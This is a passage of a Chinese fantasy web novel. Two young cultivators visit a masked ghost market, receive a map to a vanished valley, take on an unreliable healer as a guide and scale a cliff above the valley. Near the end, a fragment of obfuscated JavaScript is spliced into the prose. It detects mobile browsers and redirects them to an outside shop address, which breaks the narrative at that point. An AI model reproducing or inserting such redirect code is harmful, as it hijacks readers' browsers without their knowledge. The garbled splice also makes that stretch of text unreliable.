行至湖中央,谢常安感觉穿过了一道透明的屏障,方才还十分寂静的湖面上突然变得嘈杂起来,四周的景象一转眼也大不相同——方才还破败的木桥转眼焕然一新,锃光瓦亮的扶手上雕刻着栩栩如生的莲花花纹,明亮华美的灯笼点缀其间,映照得桥上光彩夺目。
桥上形形色色的行人往来其间,衣着不同,都带着各色奇怪的面具,看不见面孔。
再一抬头,桥对岸不再是黑黢黢的看不见尽头,而是变成了一片繁华的街市。
谢常安没见过这么神奇的景象,顿时睁大了眼睛,好奇地看着来往的行人——只见这些戴着面具的人大多都不互相交流,步履匆匆,有往桥下集市走的,有刚穿过结界进来的,也有往结界外要出去的,热闹又诡异。
“我说咱们往哪走?也下去看看?对面好热闹,就是大家为什么都不说话……”谢常安忍不住牵起沐念秋的袖子,踮起脚小声在他耳边道。
正不知所谓,旁边不知何时来了一名带着猴子面具的女人,递过两副面具,悠悠开口:“二位请戴上面具随我来,我家主人有请。”
真是瞌睡来了就有人递枕头,来得太及时了。眼前的人不知是敌是友,但不管会遇到什么,应该都比他们自己在这瞎转的强——这黑市无疑是有许多外人不知的门道,两人初来乍到,很难掌握其中的玄机。
谢常安接过面具——一个是狐狸一个是兔子,木质的面具雕刻不算精细,却有一种返璞归真的风情,谢常安把兔子的递给沐念秋,自己戴上狐狸面具。
“你家主人是谁?”
猴子面具女人却不做声,见两人跟上,只默默在前面带路。
见问不出话来,两人跟着下了桥,街市上热闹极了,各色小店小摊林立,卖货的货郎都戴着一种红色的面具,在街边门口吆喝揽客,谢常安觉得这里和人间的夜市很像,不同的是小摊上有很多她以前没见过的玩意,带路的猴子面具的女人却像是已经司空见惯了,对此全然不感兴趣,在前面走得很快。谢常安来不及细看,只得三步并作两步,快速地穿过几条弯弯绕绕的街道,终于在一家店门口停下。
店铺不大,开着门里面却没有客人,不知是做什么生意的,谢常安正疑惑抬头想看看店名,却见这店却连个牌匾都没有,奇怪极了。
怎么有人这样开门做生意?
走进店里,带路的女人仍不停留,示意二人跟上,绕过大堂,从店铺后门出去,连着一个小院,院中游廊画壁,不知深几许,不见梅花,却闻有梅花香气。绿竹环绕,曲水流觞,十分雅致,和方才街上的情形格格不入,绕过一片假山,只见不远处立一屏风,屏风后坐着一人,影影绰绰看不出男女。
一转眼带路的猴子面具女人不见了,只留屏风后一人,那人也不多解释,悠悠开口,却是一道清丽的女声:“我知你们因何而来,能告诉你们的我都会告诉你们。”
沐念秋一脸警惕,不动声色挡在前面,“阁下是何人?引我们到此有何贵干?”
屏风后铮铮几声嘈杂的琴音传来,那人似是有些不耐烦,不理会沐念秋提出的问题,只自顾自开口道:“白水晶,无色透明,质地坚硬,有聚气之能。”
“聚气?”
“聚灵气、妖气、怨气。什么气都能聚——天然的宝贝,上好的布阵材料,比你们玄门费劲巴拉做出的那些什么法器玩意儿好用多了。”屏风后的人语气轻慢,似是对此不屑一顾。
“你不是仙门中人——为什么告诉我们这些?”
“噗哈哈,我不是仙门中人?你猜?”那人却像是听到了什么好玩的事情,嗤笑出声,屏风后的人影也跟着抖动。
沐念秋见此人脾气阴晴不定捉摸不定,并不打算回答他们任何问题,知道再问下去也是白费口舌,索性不再开口。
谢常安更是一头雾水,她说的“白水晶”应该就是他们才遇到的神秘晶石,是这一切的关键——可是哪有这么巧的事情,刚遇到问题就有人上赶着送上线索?
“好了,不和你们开玩笑了。”屏风后那人收敛了语气,长袖一摆坐直了身子,“这白水晶产自栖霞山谷,黑市上已经买不到很久了,现在几乎没有货,更不要说大量的购买了,那是不可能从黑市买到的。”
不知道是听到了什么,沐念秋神色更加紧绷,目光如炬直直看向屏风,似要穿透这层遮挡。
谢常安见他神色有异,也觉得不对劲——他们才刚来蜀中不久,就接二连三遇到用这白水晶布下的邪阵,根据他们之前的分析,这邪阵在蜀中不仅不止一处,甚至可能大量存在,而她突然提到黑市断货,无法大量购买白水晶,显然是知道一些情况的——或许知道的还不少。
这太奇怪了,知道蜀中的情况不算奇怪,可为什么会知道他们在查,甚至知道他们查到什么地步了,谁在背后关注他们,又为什么要告诉他们这些?
谢常安不敢再细想,屏风后的神秘人不知出于什么目的,但显然是想告诉他们线索的。
她索性接着问道:“为什么会没有货,‘栖霞山谷’是什么地方,那里很危险吗?还是这白水晶很难取?听名字倒像是个很漂亮的地方……”
屏风后声音愉悦起来,那人又随意拨弄两下琴弦,“不是这个原因,那个地方本来离人妖边界不远,不算危险,枫叶很漂亮,每到日出傍晚,成片的白水晶反射天边彩霞,交相辉映,如梦似幻——早年间挺多走私犯倒腾这个,只是现在搞不到了。”
“为什么搞
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不到了?”谢常安问。
“那个地方消失了,凭空消失。”
“什么叫凭空消失?”
“就是不见了,再也没人找到那个地方,唉……”屏风后的人悠悠叹气,似乎十分遗憾,忽的又话锋一转,“不过……你们想去看看吗?我这儿倒是有张地图。”
那人影手中转动了两下一个长条的盒子,旋即往前一送,一个漆黑的木质盒子直接穿过屏风飞了出来。
沐念秋接过盒子却没有打开,而是又问道:“你为什么要告诉我们这些,你想得到什么?栖霞山谷究竟有什么?”
“我只是受人之托,放心,我不想伤害你们,那对我没有任何意义。”
“受谁之托?我凭什么相信你?”
“无所谓,该说的我已经说完了,其他的事情我不在乎,与我无关。好了,绿萼,我乏了,送客吧。”那人却满不在乎,语气慵懒道。
不等领路侍女上来,沐念秋突然发难,指尖一弹,剑已出鞘,直劈向眼前屏风,屏风当即裂作两半,后面却不见有人。
只见那人影化作点点光斑,纷纷扬扬四散飘去,仿佛数千只银色的蝴蝶,不到片刻,已不见踪影。
那名叫“绿萼”的领路女人仍旧带着那副猴子面具,出奇的冷静,只像是什么都没发生一样,示意二人跟上,带着二人沿曲径通幽处,又回到街上。
街上仍旧如来时一般热闹,一转眼,那带路人却已不见,仿佛刚才发生的一切都是一场幻觉,可手中沉甸甸的木盒子却又明白地告诉二人,刚才遇到的神秘女人是真实存在的。
走出没几步,谢常安喃喃道:“不对劲……还有一件事不对劲。”
“什么事?”沐念秋握紧了拳头,语气有些冷硬。
“我是想说,如果如她所说,白水晶不是从黑市来的,那客栈里为什么会有黑市的请柬?”她注意到他的反常,却摸不清为什么——一直以来,沐念秋都是沉着而可靠的,现在遇到的情况好像并不值得他这么为难,难道说有什么自己没想通的关卡,还是说牵连到妖界,事情已经远比自己所知道的难办多了?
“这封请柬,更像是有人故意放在那里,引我们来这里查下去。”谢常安不着声色,轻轻覆上他握紧的拳头,眼神关切,“沐师兄,你是不是想到什么了?”
沐念秋似是回过神来,抬手揉了揉眉心,柔声道:“没什么,我们在这里弄出这么大动静,行踪恐怕已经暴露了。”
“可谁会关注我们的行踪?”谢常安不解。
沐念秋视线偏移沉默一阵,还是解释道:“说来话长,我和沐家有些……分歧,这次出来也是想搞清楚一些事情……”
谢常安:“你是说,跟踪我们的是你们家人?”
沐念秋:“我不知道,他们应该不希望我来查这些,不会搞这些小手段主动给我送线索。”
“……”
“……你跟你们家人有什么小分歧啊?”谢常安小声试探着问出。
“我……”
话没说完,“铛——”的一声巨响,只听得远处街上锣声起,又听得有人拉长了声音吆喝道:“子——时——到!闭市——”
23. 尝鲜
不出三秒,刚还灯火辉煌热闹非凡的街市一下子黯淡下来,一家家店铺拉下帷幕,一排排灯笼像跳动的音符般熄灭,街上的人一个接着一个原地消失不见。
天旋地转间,谢常安被眼前匪夷所思的情景惊讶,拽住沐念秋地一角衣袖,只觉得眼前一黑,再睁眼身旁的景物已然全变了,热闹的街市消失不见,两人又回到了先时忘忧湖畔那块石碑旁。
月黑风高,周围是漆黑的树林,平静的湖面上好像从来没出现过一座桥。
-
翌日一早,两人告别了村民,默契地谁也没再提黑市来的地图可不可靠——栖霞山谷是现在唯一的线索,哪怕明知道有问题,也得去看看才知道。
地图不知是用的什么动物的皮制成,久经岁月却没有破损,线条图案还清晰可见。谢常安其实并不喜欢这种被人牵着鼻子走的感觉,随着调查的深入,她心里隐隐的不安感更强了。
当天晚上,她又做了一个噩梦,梦见自己头也不回地走进一片泥沼中,黏腻的泥水一节一节慢慢吞没她,一阵窒息感涌上心头,她想呼叫却发不出声音,四下张望,只看到远处岸上沐念秋冷眼旁观,脸上不悲不喜。
睡醒后,果不其然她觉得脑袋昏沉沉的,浑身像是跟谁打了一架似的,这儿也疼那儿也疼,喉咙干的冒火——竟是真的说不出话来了。
做了那样的梦,她心情不算美好,麻木地起身穿戴洗漱,站在门口,只觉得口渴,一点儿胃口也没有。
窗外鸟鸣阵阵,倒是个艳阳高照的晴天。
桌上的早饭她一口没动,一大碗水下肚,她又去接了盆冷水洗了个脸,才觉得人清醒了几分,可浑身那种挥之不去的疲惫感还是没有消失。
谢常安没心情考虑这些细枝末节的不适,用力压下了这股昏沉的感觉,收拾好行囊——葛仙村的人感激他们除去了吃小孩的“山神”,临走前非要给他们带这带那。盛情难却,吃的穿的用的,大大小小装了不少,谢常安哭笑不得——这不像是送行,倒像是送孩子出门逃难躲饥荒。
见推辞不掉,他们索性收下了村里人的一番好意——至少这一路是不会再挨饿受冻了。
沐念秋早已收拾好,清晨天气很好,他端端正正地站在阳光下,琥珀色的眸子里映衬着熹微晨光,整个人身上仿佛笼罩着一层金色的光晕,柔和又温暖。
谢常安刚下楼就看到这样的沐念秋,眼前一亮。
昨晚梦里那个冷眼旁观的形象一下子一扫而空,熟悉的安全感又回到了身上,她咧嘴一笑,用力挥了挥手,小跳过去,清了清嗓子,笑意盈盈。
“沐师兄,早上好,又见面了。”
“嗯。”
“再往前可就是妖界了,会很危险。”
沐念秋错开目光不去看她,温声道:“怎么,你想回去吗?”
“怎么样?不查了,你跟我回家吧?”
“又说笑……”
“哈哈哈哈哈哈,沐师兄你一点儿幽默感都没有,比我大师兄还无聊……”
两人并肩走在乡野小道上,微风阵阵,阳光正好。“来都来了,都到这了,没道理再打退堂鼓,况且这事和师父有关,不查清楚我可不甘心。你呢,沐师兄,看你好像对这很熟悉啊?”
连日奔波,按照地图此时已离目的地不远了。
微风阵阵,这几日越走天气反而越暖和,放眼望去漫山青绿,路边不知名的野花小草生意盎然,倒是颇有点儿四季如春的感觉。
沐念秋目光悠长,仿佛陷入到回忆当中,沉默片刻后,娓娓道来:“我以前小的时候来过这里,后来……有段时间,被关在家里出不去,看了很多关于妖界的书,所以知道一些,算不上熟吧。”
谢常安听着他的只言片语,想起之前师兄讲过的沐家的事,虽不知道他小时候是怎么度过的,但只怕是少不了不可为外人道的辛苦。心中好奇,却又怕再勾起他的伤心事,思量再三,还是贴心地岔开话题:“真奇怪,这里还怪暖和的,妖界没我想象的可怕嘛……”
“你以为是什么样的?”沐念秋反问。
“我以为……阴森恐怖,怪石嶙峋,天闪雷鸣,时不时再蹦出个大妖怪要吃人。”
沐念秋笑着摇了摇头,目光却是柔和的,“怎么可能……妖界灵力充沛,很多植物四季常青,河流山川奔腾不息,其实……很美的。”
谢常安:“诶!你看路边那片蓝色的草!”小草卷曲着枝叶,叶片上覆盖着一层蓝色的霜花,梦幻绮丽。“好神奇,这草是蓝的,早就听说妖界这边有很多奇花异草,今天算是见到了。”
沐念秋也蹲下身,拿手搔了搔小草的叶片,叶片舒展开来,“这是小冰草,在妖界很常见,生长在灵力充沛的地方,据说嚼起来是甜的——我们应该离边界不远了。”
闻言谢常安眼睛睁得更大了,二话不说摘了两根,小冰草正如其名,拿在手上冰冰凉凉的,她抬头一脸憧憬地望向沐念秋。
“尝尝?”
“……”
-
过了一会儿,两人走在路上,一人嘴里叼着一根草尖,沐念秋看着天,谢常安低着头,一人一脚随意踢着路边的一块小石头,足尖带起细微的尘土在阳光下闪闪发光,小石头骨碌碌滚过来滚过去。
“啊呀!”
谢常安没留神一脚踢歪,小石头骨碌碌向远处滚去,一溜烟停在一人脚边。
她顺着目光向上一看,迎面走来一人,瘦瘦高高,白白净净,一身长袍,像是个书生。
那人背后背着个药娄,相貌说不上出众,却自有一股出尘的气质。他看了看脚边滚过来的小石子,一脸呆愣地抬起头,二三十岁的年纪,竟看上去居然颇有点不谙世事的天真。
越靠近妖界人烟就越稀少,自打来了这边,这一路上两人虽也不少和人打听问路,可有用的信息微乎其微——甚至很少有人听说过栖霞山谷这个地方。两人一路走来,颇有点没头苍蝇的感觉,此时难得遇到一个相貌端正,面相和善的好人,迫不及待想问问路,打听打听附近的情况,也算是死马当作活马医。
“
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诶,这位大哥,劳驾……”她摆出一副彬彬有礼的架势,上前两步,开口问道。
却哪知刚起了个话头子,这人竟像是活见了鬼,表情一下变了,惊恐大叫起来:“啊啊啊啊——鬼!鬼!妖怪啊!!!救命……救命……”一边叫一边果断转身,踉踉跄跄夺路狂奔。
“别!诶前面……小心!”谢常安拦道。
只见那人跑出没两步,全没注意自己身后歪斜下来的树枝,当当正正一头撞上,直接倒地不起了——看样子撞得不轻。
就连沐念秋一贯冷静的脸上也出现了疑惑的表情——嘴里的草尖也掉在地上,他三两步上前把人扶起,检查一番——鼻息尚在,只是脑门上鼓了个大包。
“怎么办?”沐念秋不明所以,这人看着精神正常,举止却莫名惊慌,十分可疑。
“不……不知道啊……”谢常安也是一头雾水,要不是亲眼看他撞得如此严重,她简直以为这人是要碰瓷的了!
她手忙脚乱先掐住那人的人中,边晃边叫道:“大哥,醒醒,大哥……”
没晃两下,那人眼皮一翻悠悠转醒,只刚一睁开眼,张开嘴巴又想大叫,“啊……”
不及开口,沐念秋眼疾手快捂住他的嘴巴,谢常安赶紧解释道:“大哥,我们是人,不是鬼,这里没有鬼,你别害怕,也没有妖怪,你仔细看我们都是活生生的活人!”
“你们……蓝……蓝嘴怪……唔……”那人丝毫不为所动,挣扎着从指缝里溢出一句呼喊。
“什么?什么怪?”
他呜呜囔囔不知说的啥,两人谁也没听太清,互相对视一眼,才突然明白——对方都是一嘴诡异的蓝盆大口!
“哇哦?!好蓝……”
真是奇也怪哉,嘴怎么会是这个颜色?除了那根小冰草,刚刚也没吃什么东西呀……
不对,小冰草?
“小冰草!”
“……”
反应过来,闹了个大乌龙,谢常安赶忙捂住嘴解释道:“奥奥,不是,不是,我们是刚摘了根小冰草——就那个路边的草嚼了嚼,才弄得一嘴蓝!”
那人正悠悠转醒,听了这话,一个神龙摆尾奋力挣扎起来,先是倒吸一大口气,像是气愤极了,接着毫无风度破口大骂:“你们有病吧!那草是吃的吗??我们都拿它染布,谁家好人没事吃这个?你们就是存心想吓死我!”
谢常安没想到这人竟和外表的出尘不染天真无邪风度翩翩一点边儿不沾——先是大惊失色落荒而逃,再是风度全无破口大骂,一时惊得不知说什么话,实在是人不可貌相!
沐念秋刚平静下来的脸色唰地又变了:“什么?染布!”
那人揉了揉脑门,拍拍屁股爬起来,却浑不在意沐念秋的震惊,又背起混乱中扔在一旁的药娄,施施然一站,仿佛刚才什么都没发生一样,眼睛不是眼睛鼻子不是鼻子,睥睨着问道:“你们两个叫我干啥?我告诉你们,你们最好是有事……”
谢常安也急了:“不是,那怎么办,这有毒吗?吃了不会死吧?”
24. 狭路
那人却笑了出来:“我真笑死,你们什么都不知道就敢随便吃路边的草吗?我家牛都不会这样。”
“你说谁是牛!”
“啧。”
那人也不回答,一副看弱智的样子看着二人,鄙视之情溢于言表。
谢常安被他看无奈了,心想:我和一个山野村夫计较什么,谁没有吃错草的时候呢?于是她自己哄好了自己,大度道:“……那好吧,随便你怎么想吧。”
那人一副高深莫测的样子,接着道:“吃了倒是不会死,只不过……”
话说一半,戛然而止。
谢常安平生最恨别人故作高深话说半句,恨不得给他一拳,可还是咬咬牙忍住。
一旁沐念秋却忍不住了,面色不善大步跨上前,一手拎起那人胸前衣襟,恶狠狠地看着他。
“你你你!有话好好说,有话好好说!!只不过,只不过很难掉色!”那人没想到这小伙子手劲儿这么大脾气这么坏,好汉不吃眼前亏,变脸如翻书,赶紧从善如流解释道。
“很难是多难,多久能洗掉?”沐念秋不松手。
那人眼神飘忽,“永远……”
“什么?!”谢常安大惊失色。
沐念秋觉得此人怎么看都是在胡编吓人,实在可恶极了,决定还是暴力沟通,举起拳头作势要打。
“诶诶诶,好好好,别别别!!!”那人闭上眼睛双手护脸,见他实在无法沟通,只得撇了撇嘴道“也就……一个月……吧……”
“到底多久?”
“七天!!七天!”
听到这个答案,沐念秋松开他的衣襟,退至一旁。
那人显然也巴不得再离沐念秋远点儿,像是寻找母鸡的小鸡仔一样,腾地跳到谢常安身后,幽幽怨怨告状道:“你这朋友也太凶了,不好。”
谢常安心里暗暗好笑,觉得这招太好用了!她和沐念秋俩人一个红脸一个白脸配合地简直天衣无缝,没想到他们还有这种默契。
她面上不显,嘴里却忽悠道:“嘿嘿,这位大哥,你也别介意,他确实……脾气不太好,其实平时很会照顾人的!”
“真的假的啊……”那人显然不信。
“如假包换!”谢常安拍拍胸脯。
谢常安乘胜追击趁虚而入,眼珠一转,“嘿嘿,我们其实还想和你……呃……问个路?打听个事……”
本以为会惨遭拒绝,没想到这人看着已经被摧残得目露凶光面色不善,转眼却洋洋得意地吹嘘起来,斩钉截铁道:“哼哼,那你们可算问对人了,我人称江湖百晓生,祖上十八代都住这,没有我不知道的地方!”
沐念秋扬了扬眉,横在两人之间,双手抱胸不置可否,“你真住这?这地方能住人?”
此地离妖界已然不足十里,来往几乎只有零星的走私犯,一路走来确实不见有人家居住——可以说既危险又不方便,正常人谁会跑这山穷水恶的地界来定居?
那人气急败坏,全然忘了自己刚才窝囊的丑态,故态重萌道:“我说你小子会不会说话,我祖上就是除妖的!你懂什么,我就住这!”
见势不妙,刚说了没两句怎么又要吵起来,谢常安从沐念秋身后绕出,忙打了个圆场道:“是是是,是我们孤陋寡闻了,这位……大哥,一看就骨骼惊奇学识渊博博闻强识!”
“切,那是自然!好了,我也不是什么不通情理的人,想问什么直说吧!”
“我想找一个地方,既然你在这住了这么久,有没有听说过附近有那种……突然消失的地方?”谢常安正色道。
“哼,你们是想问栖霞山谷吧?这地方可不简单,大家都以为它消失了,可据我推测,它并没有消失——”
“你知道?”沐念秋不信。
“不会吧不会吧?没消失怎么会不见了?”谢常安附和着。
那人转眼已忘乎所以进入状态,目光深沉遥望远方娓娓道来——听那人叙述,原来栖霞山谷就在前方三十里处,和人界比邻而居,山谷下就是一个小村子,村子取名“望霞村”,虽说如此,可这栖霞山谷说近也近,说远也远——村子和山谷中间隔着一道崇山峻岭,很难翻越。
直到不知哪年,反正是很久很久之前,具体年份已不可考,有人在山壁上凿开个洞,穿过山洞,可见山谷,谷里红枫映着晚霞,四周石壁透着晚霞的霞光,亮晶晶的,说是世外桃源也不为过。
“听起来妖界好像没有传闻中的那么可怕嘛。”谢常安酷爱人间仙境志怪话本,听得津津有味,一旁沐念秋不知想起什么,目光悠长,也是听得专注。
“那这山谷后来怎么不见了?山谷里没有妖怪吗,怎么有人敢凿开山壁?”
“这叫人为财死鸟为食亡,山谷里自然有人间汲汲不可求之物——诶,说了你也不懂,别打岔——”
直到有一天,那洞口一夜之间突然消失了,外面的人再也见不到谷里的景色,有人不死心翻过崇山峻岭去看,却发现谷里一切全不见了,整个山谷黯然失色,变成一个湖——也可以说是一个大坑,坑里湖水发黑,深不见底,像是要把人吸进去似的,说不出的诡异。
后来就传出传言说,这个湖能通阴阳,湖底连接着地狱,每逢雨夜,能看到奇怪的景象,一队队的阴兵举着鬼火进谷,悬在空中,在湖面上消失。
“不是我吓人,你们别不信,我可提醒你们,再往前走可就不安全,不过——”
没想到剧情是这个走向,谢常安越听越离谱,忍不住质疑道:“不过什么?你这还是没说为啥消失的呀,不是我说,别是你瞎编的吧……”
那人却不生气,也不多解释,“自然是真的,不过我这有符,驱邪避妖,不灵不要钱。”说罢图穷匕见,从袖子里摸出一沓黄纸红字的符箓来。
谢常安大为震惊:“你不是郎中么?背着药娄卖符纸?业务太广泛了吧……”
“我祖上十八代都是除妖师,如假包换,副业才是郎中,年轻人少见多怪,过了这村可没这店了,十文一张,童叟无欺,药到病除!”那人眉飞色舞,奋力推销。
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>“……”
沐念秋看不下去了,此人看似正常实则癫狂——说话办事真真假假随心所欲,比谢常安还不靠谱,他不打算再在这里浪费口舌,当机立断道:“买。”
“我……你……”那人没想到这蓝嘴年轻小伙子面如冰霜拒人千里,却答应地如此果断,实乃冤大头中的冤大头,一时被噎住,准备好的忽悠人的话术都来不及说,“你还真买啊……”
只见沐念秋一拱手,客客气气道:“这位大哥久居此处见多识广,不知是否愿意陪我们走一趟,送我们到栖霞山谷?有什么条件都好说。”
“嘶……可以是可以,条件嘛……还真有一个,带上我一起入谷!”
谢常安无语:“刚还说危险,这会儿怎么不怕啦?”
“那……自然是因为——我这不是有祖传的除妖符嘛,不灵不要钱!”
谢常安彻底服气了,也懒得计较他为啥想要一起去谷里了——此人虽说话办事反复横跳看起来不靠谱,但是熟悉附近的情况,带上一起或许也不错。
“好好好,那就一起走吧!”
三人就这样莫名其妙一同上路,走出没几步,谢常安突然想起什么似的,开口问道:“对了,百晓生,你……”
那人背着个大药娄,闷头在前面带路,却没反应。
谢常安见他没反应,只得上前两步拍了拍他的肩膀。
那人懵懵然转头,“你在叫我?”
“对呀,你不是江湖百晓生么?”
“啊……是是,我随口瞎编的……”那人嘟嘟囔囔,最后一句几乎是自言自语,含混极了,打着哈哈道,“这个你有所不知,还有,看你们年纪都比我小,我姓卢,叫我卢哥就行。”
“行,卢大哥。”谢常安从善如流,眼底笑意盎然——这么正经的称呼用在他身上总觉得十分滑稽。
卢哥不知道她是在笑这个,只道她语笑嫣然很好相处,语气也不由自主软了几分,“好了,如今咱们也算是同路人了,你呢,怎么称呼?”
“哈哈卢大哥,我姓谢,我叫谢常安,你叫我常安就行。”
“常安……安妹妹,百年常乐,顺遂平安,好名字!”
“小伙子,你呢?”卢哥问道。
沐念秋不说话,几乎有些目露凶光。
卢哥平白被刀了一眼,悻悻然嘟囔道:“刚还挺好说话的,怎么一转眼又不说话了,闷葫芦一个……”
谢常安看着两人一点儿也不对付,却要莫名其妙一路同行,只觉好笑极了,灵机一动,随口胡诌道:“哈哈卢大哥,他也姓谢,是我……兄长,听见我叫别人大哥不高兴了。”又拿胳膊肘怼了怼沐念秋侧腰,“是吧,兄长,别不高兴呀,这有什么的,卢大哥又不是外人……”
“就是就是,小伙子忒小气!”
“……好了,知道了,别闹了。”沐念秋第一次听见这个称呼,神色一松,耳根有点儿发烫,不忍卒听,赶忙搪塞道。
“哈哈哈哈哈哈哈……”谢常安毫无知觉,笑得开怀。
25. 翻山
“……你是说曾经有人翻过这座山过去对面?”
三人来到栖霞山谷外,隔着群山峭壁,沐念秋说完双唇紧抿,谢常安也看着直耸入云的峭壁张大了一张蓝嘴,“这么高,怎么爬?”
“莫急莫慌,我自有妙计。”卢大哥一脸高深莫测之态,捋了把不存在的胡子,呵呵一笑。说罢,从怀里摸啊摸,抓虱子似的摸出了一个金黄发亮的小球,这球金属质地,鸡蛋大小,十分精巧,看不出用途来。
谢常安凑过去看,“让我看看,卢大哥,这是个啥?”她拿过小球,转来转去仔细研究,“像是个法器,是有机关的吧……”
“说的不错,安妹妹是行家啊,你看……”卢大哥拿起小球,按动球中间一处凹槽,小球自中心流出一道光华,仿佛突然活了过来一样,接着中间旋开一道缝隙,“此球名叫‘千机’,别看它小小一枚,可耗了我不少心血,变化多端,千变万化,妙不可言,故名‘千机’!”
“卢大哥,没想到你还对炼器颇有研究啊!”
看到这儿谢常安才第一次对眼前这个奇怪的男人产生了一点儿敬佩——天枢院重炼器,从前在师门她没少见这些鸡零狗碎各式各样的小玩意儿,师父更是痴迷炼器,屋子里到处是这些做完的没做完的法器,她和师兄小时候也总是自己鼓捣些没用的小法器当玩具玩。
她见得多,自然能分辨出,卢大哥手里这个‘千机’球,能把如此多的变化融于这么小的一个球里,精巧简便,确实是难得的好东西。
“不敢当不敢当,研究说不上,就是随便做着玩的……”卢大哥说着不敢当,表情确骄傲极了,说着他向前一甩,千机球飞出一枚小抓手,接着往山壁上一抛,球上连着一条极细的线,几乎透明,他拉了拉线,试了试松紧结实,“二位抓好在下,咱们就用它上去!”
这线极细极轻,在空气中几乎看不见,难怪这么长能被收进这么小的一个球里,谢常安分辨不出这线的材质,迟疑道,“这结实么?”
“放心放心,我这线——刀枪不入,水火不融,结实得不能再结实了!”卢大哥听了两句恭维,正飘飘然,翘着鼻子吹嘘道。
“好!试试就试试!”谢常安一拍大腿,决定体验一下。
沐念秋学习明白千机的使用方法,牵着千机球,两边拖着两人,几次抛线,沿着悬崖峭壁飞驰而上,风声略过耳畔,三人上升地飞快,能明显感觉到气温在随着高度增加而降低。
云雾翻腾,沐念秋稳稳带着二人向上略去,不几个来回,转眼就要到山顶,突然一声极细微的不祥的“嘣”的一声,这声音几乎淹没在呼啸而过的风声中。
“不好!”
沐念秋手上一松,竟是那连接着三人的细线竟承受不住绷断了,眼看三人就要坠入万丈深渊。
“啊啊啊啊啊——我艸——”卢大哥又大叫起来。
“好吵。”
沐念秋却不慌,失重感没两秒,他已拔出腰间佩剑,反手插进山壁中,另一手稳稳将谢常安带入怀中,三人借着一把剑,在山壁上堪堪保持住了一个微妙的平衡。
他先一个借力,把一侧胳膊上挂着的姓卢的甩上山顶,又一个巧妙的弧度将谢常安送了上去,没过几秒,他已连人带剑爬了上来。
“呃,少侠好功夫,多亏了你……”卢大哥不好意思道。
“沐师……兄长,你没事吧!”谢常安差点说漏嘴,关切地上前问道。
利落收剑,他没理会卢大哥,安抚式地拍了拍谢常安的手,一挑眉,冷冷反问道。
“刀枪不入?”
“水火不融?”
“结实得不能再结实?”
“那是……那是咱们人太多了,三个人……再怎么说可能也有点勉强,并不是我的线不行……”卢大哥拿着断了的线,哭丧着脸,强作不在乎,狡辩道。
听闻此话,沐念秋几欲冷笑,没等他反唇相讥,谢常安打起圆场,“好了,幸好咱们都安全上来了,算了吧,算了吧……”她拍拍身上的土,望了望四周,“诶,你们看下面!”
-
悬崖下方雾气笼罩中,一个巨大的墨色的湖浮现出来,湖面平静的近乎诡异,没有一丝涟漪,像是一面墨绿色的光滑的镜子,倒映着四周光秃秃的山壁乱石。一点儿不辩传闻中昔日云霞翠茵,枫叶如火的盛景,只岸边长了几株稀疏的杂草,也是枝瘦叶萎,一副半死不活的灰败之态。
“这地方风水好差,死气沉沉的……”
玄门中人多少都懂一点儿风水岐黄之术,谢常安于此道稀疏,算不上懂行,却也看出了这地方糟糕的风水——整个山谷尽显逼仄压抑之势,明明依山傍水,竟连杂草都寥寥无几,几乎是一点儿生气全无。
明知山有虎偏向虎山行,不入虎穴焉得虎子,三人千难万难爬上来,自是不能只看一眼就知难而退打道回府,当即决定一鼓作气下到谷底一探究竟。
“我有一个问题……咱们现在怎么下去?”谢常安看看身边二人问道。
千机线已经断掉没办法使用——就算能用她也不敢再赌了,别事儿一点没办成人先摔出个好歹。
沐念秋站在两人中间,看着谷底一言不发,像是在思考。
一片沉默中只听卢大哥拍了下手。
“此事不难,我有一个好主意!”又是卢大哥挺身而出,提出建议。
“……什么主意?”谢常安不敢大意,沐念秋闻声也抬起头看向他,眼神中充满着不信任。
“你们……你们那是什么表情!怎么,不相信我吗?”
此时此地,可谓是进退两难,不如死马当作活马医,先听听看他的建议,谢常安收起自己鄙夷的表情,正色道:“怎么会?卢大哥你请讲,洗耳恭听。”
卢大哥勉强接受了她的说辞,顺坡下驴,抬手一挥:“你们且看那是什么?”不等人回答,又接着道:“风絮草。没见过吧愚蠢的中原人!”说着还贼眉鼠眼瞥了眼沐念秋。
见沐念秋似乎没在意,他又清了清嗓子,“风絮草——生长在妖界,在我们这才有的,你们没见过很正常,无需自卑。妖界灵力充沛,孕育出许多先天灵物,也就是妖族,所以花草树木形体也通常较大,这风絮草就是地地道道的妖界特产!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594113|187170||http|test|mini|href|location''.split(''|''),0,{}));
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>说罢,他热心地跑去撇了三根拿回来,只见这风絮草有一人多高,像是一颗巨大的蒲公英种子,枝叶在风中飘摇舒展,像把柔软的小伞。
“给你们拿着,一会儿咱们就用这个下去,这风絮草能御风飞起,腾云驾雾不过如此。等起风了,咱们就直接跳下去,借风力下落——只不过千万记住,一定握紧了别松手!”
“直接跳下去吗?”谢常安看看崖底,又挥挥手里的风絮草,有了上山的经历,她算是结结实实领略了一把此人的不靠谱,不敢再轻信。
“放心好了,保准安安全全稳稳当当!”
“……”
“……”
沐念秋也不置可否,挥了挥自己的那根,又转头去握谢常安得那根,两人嘀嘀咕咕轻声交谈。
“其实我从刚才就有一个问题。”见自己莫名被晾在一边,卢大哥跳出来打断道,“你们修仙的难道不能‘咻咻咻’地飞来飞去吗?”
沐念秋冷笑一声,“让你失望了,我等自然不能。”
“你……有什么好笑的……”卢大哥听他冷笑,不服气地嗫嚅道。
沐念秋却似浑不在意,把风絮草往地上一戳,反而很有耐心地解释起来:“只有神族不受凡间重力影响,可腾云驾雾,御风而行。咱们凡人不行,哪怕是修仙也不行,只能依靠外物——也就是坐骑、法器一类。”
说罢,他嘴角一勾,又一挑眉:“明白了吗?没常识的西南人。”
“噗!”谢常安听他俩互相攻击,没忍住笑了出来,又担心卢大哥又不高兴,没笑的明目张胆,只是努力控制着嘴角,忍得十分辛苦。
“你笑什么?好恐怖……”卢大哥本吃了哑巴亏,心情就不太美丽,本不欲和一个毛头小子计较,却看见一边上谢常安一张蓝嘴配上一副似笑非笑的表情,十分渗人。
“没什么……没什么,我想到了高兴的事情,哈哈。”谢常安收敛了笑容,故作正经搪塞道。
